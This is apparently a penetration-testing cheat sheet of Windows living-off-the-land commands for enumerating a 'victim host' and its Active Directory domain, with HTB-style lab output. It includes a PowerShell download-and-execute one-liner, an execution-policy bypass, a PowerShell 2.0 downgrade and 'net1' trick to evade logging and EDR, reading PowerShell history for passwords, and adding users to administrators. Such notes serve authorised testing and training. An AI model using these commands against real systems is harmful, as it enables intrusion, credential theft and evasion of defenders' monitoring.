LOL Bins

EnumerationLOLBAS / LOLDrivers / LOLESXi

Basic enum commands

Command	Result
hostname	Prints the PC's Name
[System.Environment]::OSVersion.Version	Prints out the OS version and revision level
wmic qfe get Caption,Description,HotFixID,InstalledOn	Prints the patches and hotfixes applied to the host
ipconfig /all	Prints out network adapter state and configurations
set	Displays a list of environment variables for the current session (ran from CMD-prompt)
echo %USERDOMAIN%	Displays the domain name to which the host belongs (ran from CMD-prompt)
echo %logonserver%	Prints out the name of the Domain controller the host checks in with (ran from CMD-prompt)
```
systeminfo
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Powershell

Cmd-Let	Description
Get-Module	Lists available modules loaded for use.
Get-ExecutionPolicy -List	Will print the execution policy settings for each scope on a host.
Set-ExecutionPolicy Bypass -Scope Process	This will change the policy for our current process using the -Scope parameter. Doing so will revert the policy once we vacate the process or terminate it. This is ideal because we won't be making a permanent change to the victim host.
Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt	With this string, we can get the specified user's PowerShell history. This can be quite helpful as the command history may contain passwords or point us towards configuration files or scripts that contain passwords.
Get-ChildItem Env: | ft Key,Value	Return environment values such as key paths, users, computer information, etc.
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('URL to download the file from'); <follow-on commands>"	This is a quick and easy way to download a file from the web using PowerShell and call it from memory.

Downgrade Powershell

Many defenders are unaware that several versions of PowerShell often exist on a host. If not uninstalled, they can still be used. Powershell event logging was introduced as a feature with Powershell 3.0 and forward. With that in mind, we can attempt to call Powershell version 2.0 or older. If successful, our actions from the shell will not be logged in Event Viewer.

PS C:\htb> powershell.exe -version 2

Am I Alone?

PS C:\htb> qwinsta

 SESSIONNAME       USERNAME                 ID  STATE   TYPE        DEVICE
 services                                    0  Disc
>console           forend                    1  Active
 rdp-tcp                                 65536  Listen

Network Information

Networking Commands	Description
arp -a	Lists all known hosts stored in the arp table.
ipconfig /all	Prints out adapter settings for the host. We can figure out the network segment from here.
route print	Displays the routing table (IPv4 & IPv6) identifying known networks and layer three routes shared with the host.
netsh advfirewall show state	Displays the status of the host's firewall. We can determine if it is active and filtering traffic.

WMI

Command	Description
wmic qfe get Caption,Description,HotFixID,InstalledOn	Prints the patch level and description of the Hotfixes applied
wmic computersystem get Name,Domain,Manufacturer,Model,Username,Roles /format:List	Displays basic host information to include any attributes within the list
wmic process list /format:list	A listing of all processes on host
wmic ntdomain list /format:list	Displays information about the Domain and Domain Controllers
wmic useraccount list /format:list	Displays information about all local accounts and any domain accounts that have logged into the device
wmic group list /format:list	Information about all local groups
wmic sysaccount list /format:list	Dumps information about any system accounts that are being used as service accounts.

Net commands

Keep in mind that net.exe commands are typically monitored by EDR solutions and can quickly give up our location if our assessment has an evasive component.

If you believe the network defenders are actively logging/looking for any commands out of the normal, you can try this workaround to using net commands. Typing net1 instead of net will execute the same functions without the potential trigger from the net string.

Command	Description
net accounts	Information about password requirements
net accounts /domain	Password and lockout policy
net group /domain	Information about domain groups
net group "Domain Admins" /domain	List users with domain admin privileges
net group "domain computers" /domain	List of PCs connected to the domain
net group "Domain Controllers" /domain	List PC accounts of domains controllers
net group <domain_group_name> /domain	User that belongs to the group
net groups /domain	List of domain groups
net localgroup	All available groups
net localgroup administrators /domain	List users that belong to the administrators group inside the domain (the group Domain Admins is included here by default)
net localgroup Administrators	Information about a group (admins)
net localgroup administrators [username] /add	Add user to administrators
net share	Check current shares
net user <ACCOUNT_NAME> /domain	Get information about a user within the domain
net user /domain	List all users of the domain
net user %username%	Information about the current user
net use x: \computer\share	Mount the share locally
net view	Get a list of computers
net view /all /domain[:domainname]	Shares on the domains
net view \computer /ALL	List shares of a computer
net view /domain	List of PCs of the domain

Domain group

PS C:\htb> net group /domain

Domain user

PS C:\htb> net user /domain wrouse

Dsquery

Can be found at C:\Windows\System32\dsquery.dll.

All we need is elevated privileges on a host or the ability to run an instance of Command Prompt or PowerShell from a SYSTEM context

User search

PS C:\htb> dsquery user

Computer search

PS C:\htb> dsquery computer

Wildcard search

PS C:\htb> dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"

Users With Specific Attributes Set (PASSWD_NOTREQD)

PS C:\htb> dsquery * -filter "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" -attr distinguishedName userAccountControl

  distinguishedName                                                                              userAccountControl
  CN=Guest,CN=Users,DC=INLANEFREIGHT,DC=LOCAL                                                    66082
  CN=Marion Lowe,OU=HelpDesk,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL      66080
  CN=Yolanda Groce,OU=HelpDesk,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL    66080
  CN=Eileen Hamilton,OU=DevOps,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL    66080
  CN=Jessica Ramsey,CN=Users,DC=INLANEFREIGHT,DC=LOCAL                                           546
  CN=NAGIOSAGENT,OU=Service Accounts,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL                           544
  CN=LOGISTICS$,CN=Users,DC=INLANEFREIGHT,DC=LOCAL                                               2080
  CN=FREIGHTLOGISTIC$,CN=Users,DC=INLANEFREIGHT,DC=LOCAL                                         2080

Domain controllers

PS C:\Users\forend.INLANEFREIGHT> dsquery * -filter "(userAccountControl:1.2.840.113556.1.4.803:=8192)" -limit 5 -attr sAMAccountName

 sAMAccountName
 ACADEMY-EA-DC01$

ServiceUI.exe - PrivEsc

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